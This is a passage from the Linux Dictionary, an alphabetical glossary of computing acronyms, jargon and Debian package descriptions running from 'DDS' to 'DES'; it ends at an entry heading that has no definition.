Distributed Data Processing From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDS

Distributed Directory Service (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dds2tar

Tools for using DDS features of DAT drives with GNU tar This tool makes use of the fast seek command of DAT devices. Files from a selected file archive can be extracted within one minute. An undocumented c-shell script scsi_vendor is provided which may help in learning more about an unknown SCSI device. It is used by the mt-dds tool. scsi_vendor requires the tesh flavor of c-shell. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDSA

Digital Data Service Adapter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDSDC

Digital Data Storage – Data Compression (DDS, DCLZ), "DDS-DC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ddskk

Simple Kana to Kanji conversion program Daredevil SKK is a branch of SKK (Simple Kana to Kanji conversion program, an input method of Japanese). It forked from the main trunk, SKK version 10.56. It consists of a simple core and many optional programs which provide extensive features, however, our target is to more simplify core, and more expand its optional features. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDSS

Double Dynamic Suspension System (Asus, CD-ROM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDT

Dynamic Debugging Tool (DEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ddt-client

Dynamic DNS Tools Client. This is the client side implementation of the DDTP protocol. It allows you to assign a fixed FQDN to any hosts that connects to the internet using a dynamic IP. You have to

register with a DDT service provider in order to use it. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ddt-server

Dynamic DNS Tools Server. This is the server side implementation of the DDTP protocol. This is useful only if you want to provide a service similar to the one at ddt.net. You should not install unless you know what you are doing. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDU

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DDX

Distributed Data eXchange From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DE

DatenElement (HBCI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEA

Deterministischer Endlicher Automat From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dead

adj. 1. Non-functional; down; crashed. Especially used of hardware. 2. At XEROX PARC, software that is working but not undergoing continued development and support. 3. Useless; inaccessible.

Antonym: `live'. Compare dead code. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deadlock

n. 1. [techspeak] A situation wherein two or more processes are unable to proceed because each is waiting for one of the others to do something. A common example is a program communicating to a server, which may find itself waiting for output from the server before sending anything more to it, while the server is similarly waiting for more input from the controlling program before outputting anything. (It is reported that this particular flavor of deadlock is sometimes called a `starvation deadlock', though the term `starvation' is more properly used for situations where a program can never run simply because it never gets high enough priority. Another common flavor is `constipation', in which each process is trying to send stuff to the other but all buffers are full because nobody is reading anything.) See deadly embrace. 2. Also used of deadlock-like interactions between humans, as when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they always move the same way at the same time. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deallocvt

deallocate unused virtual terminals From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debarchiver

Tool to handle debian package archives. This tool can create a potato like file structure that dselect, apt-get and similar tools can use for easier installation. You just have to place the package files into a incoming directory and the tool does the sorting (if you place the generated '.changes' file there too). OBSERVE! This package will create a cronjob that does the actual sorting. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debaux

Debian Auxiliary Programs This package contains Perl programs and modules to build and publish Debian packages. debaux-build automatically downloads APT sources before building, applies patches and additional sources. It has options to build the packages in an existing chroot environment, check the generated packages with lintian, install the created packages on your local system or turn them into RPM packages. debaux-build has experimental support for downloading Perl modules from CPAN and creating the necessary Debian packaging files. debaux-publish uploads packages and runs the scripts to create the APT sources and packages files on the remote system. debaux-publish doesn't support the pool structure yet. The DebAux::Debconf module provides an easy-to-use interface for the Debconf::Client::ConfModule::get function. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debbugs

The bug tracking system based on the active Debian BTS Debian has a bug tracking system which files details of bugs reported by users and developers. Each bug is given a number, and is kept on file until it is marked as having been dealt with. The system is mainly controlled by e-mail, but the bug reports can be viewed using WWW. This version is fully functional, but it does not autoconfig, see /usr/share/doc/debbugs/README.Debian after installation. Note: there might be some appearance issues where the a display variable doesn't expand as expected. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debbugs-el

Access the Debian BTS from within Emacs This package contains: * debian-bug.el, an Emacs function to submit a bug from within Emacs. * gnus-BTS.el, an enhancement to Gnus to provide buttons on bug numbers seen in Debian-related messages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf

Debian configuration management system Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-communicate

communicate with debconf From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-copydb

copy a debconf db From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-getlang

extract a language from a templates file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-loadtemplate

load template file into debconf database From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-mergetemplate

merge together multiple debconf template files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-tiny

dummy package for upgrade purposes This is an empty package which depends on debconf. It exists only to ensure smooth upgrades from potato to woody, and can be safely removed at any time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debconf-utils

debconf utilities This package contains some small utilities to aid users and developers. There are utilities to help manage debconf databases, others to manage translated template files and a program to communicate directly with debconf from the command line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debfooster

Install only wanted Debian packages debfooster is a wrapper program for apt and dpkg. When first run, it will ask you which of the installed packages you want to keep installed. After that, it maintains a list of packages that you want to have installed on your system. It uses this list to detect packages that have been installed only because other packages depended on them. If one of these dependencies changes, debfooster will take notice, and ask if you want to remove the old package. This helps you to maintain a clean Debian install, without old (mainly library) packages lying around that aren't used any more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debget

download/compile source and binary Debian packages debget downloads source and binary Debian packages by name. It doesn't require a local copy of the Packages files, instead it lists directories on the FTP site to find out what versions are available. debget can also optionally unpack and compile source packages, and even install the generated binary packages. If you intend to use these features you should install the devscripts package for the dscverify script it contains. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debhelper

helper programs for debian/rules A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEBI

DMA Extended Bus Interface (Acorn, DMA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debian GNU/Linux

The Debian Project is currently the largest volunteer based distribution provider. Debian has an old stable version 2.2 (potato), a newer stable version 3.0r1 (woody), and less stable but more current branches available. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debian-cd

Tools for building (Official) Debian CD set Debian-cd is the official tool for building Debian CD set since the potato release. It was formerly called YACS (for Yet Another CD Script). Its goal is to facilitate the creation of customized Debian CD set. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debian-guide

Text from: Debian GNU/Linux: Guide to Installation and Usage This package will install the full text in HTML and PostScript formats from the book "Debian GNU/Linux: Guide to Installation and Usage" by Debian developers John Goerzen and Ossama Othman (ISBN 0-7357-0914-9). You can find the installed items under /usr/doc/debian-guide. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debian-Ham

Debian-Ham is a floppy distribution specifically for contesting and logging. It is based on uClibc, busybox, and tlf. The current scheme uses a LILO boot floppy with a minix root floppy. Network support is included to connect to a DX cluster. The initial Freshmeat announcement was for version 0.3, released July 21, 2002. Version 0.5 was released April 24, 2003. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debian-Jr.

This is an internal project to make Debian an OS that children of all ages will want to use. Our initial focus will be on producing something for children up to age 8. Once we have accomplished this, our next target age range is 7 to 12. By the time children reach their teens, they should be comfortable with using Debian without any special modifications. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debian-keyring

GnuPG (and obsolete PGP) keys of Debian Developers The Debian project wants developers to digitally sign the announcements of their packages with GnuPG, to protect against forgeries. This package contains keyrings of GnuPG and (deprecated) PGP keys of developers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debian-Med

Debian-Med is an internal Debian project to support tasks of people in medical care. The goal of Debian-Med is to build a complete system for all tasks in medical care, using only free software. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debian-policy

Debian Policy Manual and related documents This package contains: – Debian Policy Manual – Linux Filesystem Hierarchy Standard (FHS) – Authoritative list of virtual package names – Paper about libc6 migration – Policy checklist for upgrading your packages It also replaces the old Packaging Manual; most of the still-relevant content is now included as appendices to the Policy Manual. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debian-test

Scripts used to run tests against an installed Debian system This package contains tests and the framework to run them, and test provided by other packages to test themselves. The intent is that this should build into a test suite that provides a reasonable level of confidence that a Debian system is working correctly. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debiandoc-sgml

DebianDoc SGML DTD and formatting tools This is an SGML-based documentation formatting package used for the Debian manuals. It reads markup files and produces DVI (via LaTeX), HTML, Info (via Texinfo), LaTeX, PostScript (via DVI), Texinfo, and plain text (with overstrikes a la troff as well as without) files. The LaTeX based output needs the libpaper, tetex-bin and tetex-extra packages. The Texinfo based output needs the texinfo package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debianutils

Miscellaneous utilities specific to Debian. Debianutils includes installkernel mkboot mktemp readlink run-parts savelog sensible-editor sensible-pager tempfile which. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debmake

Debianizing Tool and automated binary generation Eases the development and maintenance of Debian Sourcepackages. – deb-make: Generate a debian style sourcepackage from a regular sourcecode archive. Customizes control files. Provides example setup for debstd that is usually usable with minimal editing. – "debstd" which has the following abilities: – Automates compression of documentation, localizes manpages compresses and installs them. – Supports multiple binaries generated from a single source package – Generates maintainer scripts for you and installs all scripts

for you in the proper locations with the proper permissions. – Can perform modifications on a variety of important debian config files through generation of proper maintainer scripts. – Runs `dpkg-shlibdeps` on all ELF binaries for you and generates correct shlibs file for provided libraries automatically. – Checks symlinks to manpages /documentation and redirects them if a file was compressed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debootstrap

Bootstrap a basic Debian system `debootstrap` is used to create a Debian base system from scratch, without requiring the availability of `dpkg` or `apt`. It does this by downloading `.deb` files from a mirror site, and carefully unpacking them into a directory which can eventually be chrooted into. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deborphan

Find orphaned libraries. `deborphan` finds "orphaned" packages on your system. It determines which packages have no other packages depending on their installation, and shows you a list of these packages. It is most useful when finding libraries, but it can be used on packages in all sections. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debpartial

Debian Packages/Sources file partition tool `debpartial` is a program to separate `Packages.gz` and `Sources.gz` files by size of packages and sources. It can be used in the case of: * creating 1 DVD/CD Debian (source & binary) * creating Debian Daily Diff CD. * separating the debian archive into several harddisks. * mirroring packages only you want (using `debmirror` etc). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debroster

A package for use at expos. `Debroster` starts up an `eterm` with the Debian logo as the background, with a randomly-ordered list of the current developers scrolling up the screen. Use it to show just how many people contribute to the Debian project – and so why we are so damn good :-)) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debsig-verify

Debian Package Signature Verification Tool This tool inspects and verifies package signatures based on predetermined policies. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debsigs

applies cryptographics signatures to Debian packages `debsigs` is a program that allows GPG signatures to be embedded inside `.deb` packages. These signatures can later be verified to ensure the authenticity of the contents of the `.deb`. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debsums

Verify installed package files against MD5 checksums. `debsums` can verify the integrity of installed package files against MD5 checksums installed by the package, or generated from a `.deb` archive. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debugfs

ext2 file system debugger From `whatis` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debugger

A utility program, often included in compilers or interpreters, that helps programmers find and fix syntax errors and other errors in source code. From `QUECID` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Debugging

The process of locating and correcting errors in a program. From `QUECID` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debview

Emacs mode for viewing Debian packages After installing, you can use `C-d` in `dired` mode to view the `.deb` file on the current line. Allows both the structure and contents of a `.deb` archive to be

examined. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

debwrap

Wrapper for dpkg/apt-get 'debwrap' is a wrapper program for dpkg/apt-get, which reply questions from each package described in {pre,post}-inst scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEC

/dek/ n. 1. v. Verbal (and only rarely written) shorthand for decrement, i.e. 'decrease by one'. Especially used by assembly programmers, as many assembly languages have a dec mnemonic. Antonym: inc. 2. n. Commonly used abbreviation for Digital Equipment Corporation, later deprecated by DEC itself in favor of "Digital" and now entirely obsolete following the buyout by Compaq. Before the killer micro revolution of the late 1980s, hackerdom was closely symbiotic with DEC's pioneering timesharing machines. The first of the group of cultures described by this lexicon nucleated around the PDP-1 (see TMRC). Subsequently, the PDP-6, PDP-10, PDP-20, PDP-11 and VAX were all foci of large and important hackerdoms, and DEC machines long dominated the ARPANET and Internet machine population. DEC was the technological leader of the minicomputer era (roughly 1967 to 1987), but its failure to embrace microcomputers and Unix early cost it heavily in profits and prestige after silicon got cheap. Nevertheless, the microprocessor design tradition owes a major debt to the PDP-11 instruction set, and every one of the major general-purpose microcomputer OSs so far (CP/M, MS-DOS, Unix, OS/2, Windows NT) was either genetically descended from a DEC OS, or incubated on DEC hardware, or both. Accordingly, DEC was for many years still regarded with a certain wry affection even among many hackers too young to have grown up on DEC machines. DEC reclaimed some of its old reputation among techies in the first half of the 1990s. The success of the Alpha, an innovatively-designed and very high-performance killer micro, helped a lot. So did DEC's newfound receptiveness to Unix and open systems in general. When Compaq acquired DEC at the end of 1998 there was some concern that these gains would be lost along with the DEC nameplate, but the merged company has so far turned out to be culturally dominated by the ex-DEC side. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEC

Digital Equipment Corporation (manufacturer) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DECIX

DEutscher Commercial Internet eXchange (Internet), "DE-CIX" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DECNET

Digital Equipment Corporation NETwork (DEC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

decryption (decrypt, decipher)

The opposite of encryption/encrypt/encipher, decryption is the process of taking encrypted data (called ciphertext) and converting it back to the original plaintext. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DECT

Digital European Cordless Telecommunications (DFUe) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DECUS

Digital Equipment Computer Users Society (org., DEC, user group) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dedit

Editor Tool with Japanese extension for beginners. The very simple editor with GNOME Environment for beginners. DEdit can handle gzipped files and some Japanese encoded files. (Japanese encode type: EUC-JP,ISO-2022-JP, SJIS) Also can convert Japanese string encode types.

Original DEdit is distributed as a Debian native package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEE

DatenEndEinrichtung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defaults

The "defaults" are the settings of a system before it has been configured. Key point: Security irritates customers who prefer products that are easy to use. Therefore, most vendors make the same trade off. They ship their systems with the best "out-of-box" experience, and as a result most boxes are easily hacked in their default state. The more a vendor touts its ease-of-use, the more likely hackers will find that vendor's products easy to hack. See also: samples. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defendguin

defender clone with penguins "Defendguin" is based loosely on William's classic arcade game, "Defender." Some recognizable stars in the realm of modern operating systems should be fairly obvious. A certain monopoly-owning bad guy has been cloned hundreds of times by an unknown alien race. They are now attacking earth, kidnapping little penguinoids and converting them into mutants. Helping them on their way are some other nasty alien ships, of which there are plenty...
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Definite Linux

Definite Linux was a boxed set of desktop Linux and applications. It hasn't been maintained since late 2000. Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma

Debian Font Manager -- automatic font configuration framework. Defoma, which stands for DEbian FOnt MAnager, provides a framework of automatic font configuration. An application whose configuration of fonts requires users' hand can make the configuration process automated through Defoma, by installing a Defoma-configuration script to Defoma. The script gets called whenever a font is installed and removed, so that the script updates the configuration. Font packages should register their fonts to Defoma in order to have them configured automatically for applications. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-app

configure a specific application about fonts registered in Debian Font Manager. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-font

register/unregister font(s) to Debian Font Manager From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-hints

generate font hints. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-id

Manage id-cache of Debian Font Manager From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-psfont-installer

register fonts installed in a PostScript printer. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-reconfigure

Reconfigure all from zero. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defoma-subst

Modify a rulefile of Defoma font substitution system. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defrag

ext2, minix and xiafs filesystem defragmenter As a file system is used, data tends to become more and more scattered across the disk, degrading performance. A disk defragmenter simply re-organises the data on the disk, so that individual files occupy a single sequential set of disk blocks, and all the free space on the disk is collected together in a single region. This generally means that reading a whole file is faster, and disk accesses in general are more efficient. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

defragmentation

The process of relocating broken or separated files from random, non-contiguous locations on a physical disk platter to contiguous locations, which improves the speed and reliability of the disk.

From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEG

DatenElementGruppen (HBCI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

degauss

The term degauss means to erase magnetic media. They work by creating magnetic fields thousands of times stronger than that used to store data on magnetic devices, thereby erasing them. Degaussing is a destructive process. It generates a lot of heat which can physically damage the device, and it will remove the "low level" formatting that is shipped with the drive. Note that some SCSI hard-drives can be low-level formatted in the field. Best practice: Degauss all floppy disks and hard-drives before throwing them away. A lot of data from corporations have been recovered from defective disks that were thrown away. An equivalent for CD-ROMs is to put them in the microwave. See also: wipe. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dejagnu

framework for running test suites on software tools. DejaGnu is a framework for testing other programs. Its purpose is to provide a single front end for all tests. DejaGnu provides a layer of abstraction which allows you to write tests that are portable to any host or target where a program must be tested. All tests have the same output format. DejaGnu is written in 'expect', which in turn uses "Tcl"---Tool command language. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Delete

see rm. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

delgroup

remove a user or group from the system From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DeLi Linux

DeLi Linux stands for "Desktop Light" Linux, a desktop distribution for older computers, from 486 to Pentium MMX 166 or so. Slackware 7.1-based DeLi includes plenty of desktop software such as email clients, a graphical Web browser, an office package with word processor and spreadsheet, etc. A full install, including XFree86 and development tools, needs no more than 300 MB of harddisk space. DeLi uses the 2.2.19 kernel for a smaller footprint and rocksolid stability on older hardware. Initial version 0.1 was released November 3, 2002. Version 0.2 was released March 19, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

delimiter

/de-lim'-in-ay-t*r/ n. [portmanteau, delimiter + eliminate] A string or pattern used to delimit text into fields, but which is itself eliminated from the resulting list of fields. This jargon seems to have originated among Perl hackers in connection with the Perl split() function; however, it has been sighted in live use among Java and even Visual Basic programmers. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deliver

Local mail delivery agent Deliver delivers mail locally. Any user can write a shell (or perl or ...) script that processes each incoming message, possibly filing or deleting it based on content. The system

administrator may also install scripts that process `_all_` incoming messages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DELNI

Digital Ethernet Local Network Interconnect (ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DELQA

Digital Ethernet Lowpower Q-bus network Adapter (ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DELTA

Developing European Learning through Technology Advance From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

delta

n. 1. [techspeak] A quantitative change, especially a small or incremental one (this use is general in physics and engineering). "I just doubled the speed of my program!" "What was the delta on program size?" "About 30 percent." (He doubled the speed of his program, but increased its size by only 30 percent.) 2. [Unix] A diff, especially a diff stored under the set of version-control tools called SCCS (Source Code Control System) or RCS (Revision Control System). 3. n. A small quantity, but not as small as epsilon. The jargon usage of delta and epsilon stems from the traditional use of these letters in mathematics for very small numerical quantities, particularly in 'epsilon-delta' proofs in limit theory (as in the differential calculus). The term delta is often used, once epsilon has been mentioned, to mean a quantity that is slightly bigger than epsilon but still very small. "The cost isn't epsilon, but it's delta" means that the cost isn't totally negligible, but it is nevertheless very small. Common constructions include 'within delta of --', 'within epsilon of --': that is, 'close to' and 'even closer to'. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

delta

The set of changes that RCS records for an RCS file. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DELUA

Digital Ethernet Lowpower Unibus network Adapter (ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DELUG

DEutsche Linux User Group (org., user group, Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deluser

remove a user or group from the system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEMARC

Distributed Enterprise Management ARChitecture (Banyan, VINES), "DeMarc" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

demilitarized zone (DMZ)

Systems or sections of a private local network that are made publicly available and visible from outside networks such as the Internet. Usually, a publicly-accessible resource (such as an HTTP server) is placed on a DMZ to protect the internal network while maintaining proper functionality for outside users. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

demo

/de'moh/ [short for 'demonstration'] 1. v. To demonstrate a product or prototype. A far more effective way of inducing bugs to manifest than any number of test runs, especially when important people are watching. 2. n. The act of demoing. "I've gotta give a demo of the drool-proof interface; how does it work again?" 3. n. Esp. as 'demo version', can refer either to an early, barely-functional version of a program which can be used for demonstration purposes as long as the operator uses exactly the right commands and skirts its numerous bugs, deficiencies, and unimplemented portions, or to a special

version of a program (frequently with some features crippled) which is distributed at little or no cost to the user for enticement purposes. 4. [demoscene] A sequence of demoeffects (usually) combined with self-composed music and hand-drawn ("pixelated") graphics. These days (1997) usually built to attend a compo. Often called `eurodemos' outside Europe, as most of the demoscene activity seems to have gathered in northern Europe and especially Scandinavia. See also intro, dentro. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

demo mode

n. 1. [Sun] The state of being heads down in order to finish code in time for a demo, usually due yesterday. 2. A mode in which video games sit by themselves running through a portion of the game, also known as `attract mode'. Some serious apps have a demo mode they use as a screen saver, or may go through a demo mode on startup (for example, the Microsoft Windows opening screen -- which lets you impress your neighbors without actually having to put up with Microsloth Windows). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DemoLinux

DemoLinux is a complete distribution on a bootable CDROM. Take Linux with you and run Linux anywhere. The website shows multi-lingual support for English, French, Italian, Dutch, Spanish and Portuguese. DemoLinux 3.01p15 was released July 27, 2002. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

demon

n. 1. [MIT] A portion of a program that is not invoked explicitly, but that lies dormant waiting for some condition(s) to occur. See daemon. The distinction is that demons are usually processes within a program, while daemons are usually programs running on an operating system. 2. [outside MIT] Often used equivalently to daemon -- especially in the Unix world, where the latter spelling and pronunciation is considered mildly archaic. Demons in sense 1 are particularly common in AI programs. For example, a knowledge-manipulation program might implement inference rules as demons. Whenever a new piece of knowledge was added, various demons would activate (which demons depends on the particular piece of data) and would create additional pieces of knowledge by applying their respective inference rules to the original piece. These new pieces could in turn activate more demons as the inferences filtered down through chains of logic. Meanwhile, the main program could continue with whatever its primary task was. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEMPR

Digital Ethernet Multi-Port Repeater (ethernet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DeMuDi Agnula

The DeMuDi Agnula Project aims to create a Debian-based distribution for multi-media work. This is not a mini-distribution, but it is special purpose. The first official release, DeMuDi Agnula 0.9, is due out in November 2002 [as of July 10, 2002]. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEN

Directory Enabled Networking (MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEN

Document Enabled Networking (Novell, Xerox) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

denemo

A gtk+ frontend to GNU Lilypond GNU Denemo is a GUI musical score editor written in C/gtk+. It is intended primarily as a frontend to GNU Lilypond, but is adaptable to other computer-music-related purposes as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

denial of service (DoS)

Linux Dictionary

A type of network-based attack in which a malicious user sends massive amounts of unsolicited (and sometimes useless) data to a recipient system or network, causing congestion and availability issues for legitimate users. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DENIC

DEutsches Network Information Center, (org., Internet), "DE-NIC" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dep.pl

The dependency analyst. This little script analyses the dependencies of a set of files, and produces a full detailed report or such an output, that can be passed to another program. Comes handy when setting up a chrooted environment... From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEPCA

Digital Ethernet Personal Computer-bus Adapter (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dependencies

The proper functionality of one package may rely on the existence of another package, meaning there is a dependency. RPM will not normally allow packages with unresolved dependencies to be installed without explicit intervention by the user. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

depmod

handle dependency descriptions for loadable kernel modules From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deprecated

adj. Said of a program or feature that is considered obsolescent and in the process of being phased out, usually in favor of a specified replacement. Deprecated features can, unfortunately, linger on for many years. This term appears with distressing frequency in standards documents when the committees writing the documents realize that large amounts of extant (and presumably happily working) code depend on the feature(s) that have passed out of favor. See also dusty deck. [Usage note: don't confuse this word with `depreciate', or the verb form `deprecate' with `depreciated'. They are different words; see any dictionary for discussion.] From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEQNA

Digital Ethernet Q-bus Network Adapter (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEREP

Digital Ethernet REPeater (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deroff

removes roff and preprocessor constructs deroff strips out roff constructs and macros. The preprocessor (eqn, tbl, pic, grap, and vgrind) sections are removed entirely. The resulting output is suitable for spelling with e.g. spell(1). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DES

Data Encryption Standard (cryptography, NIST, IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DES

Destination End System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DES (Data Encryption Standard)

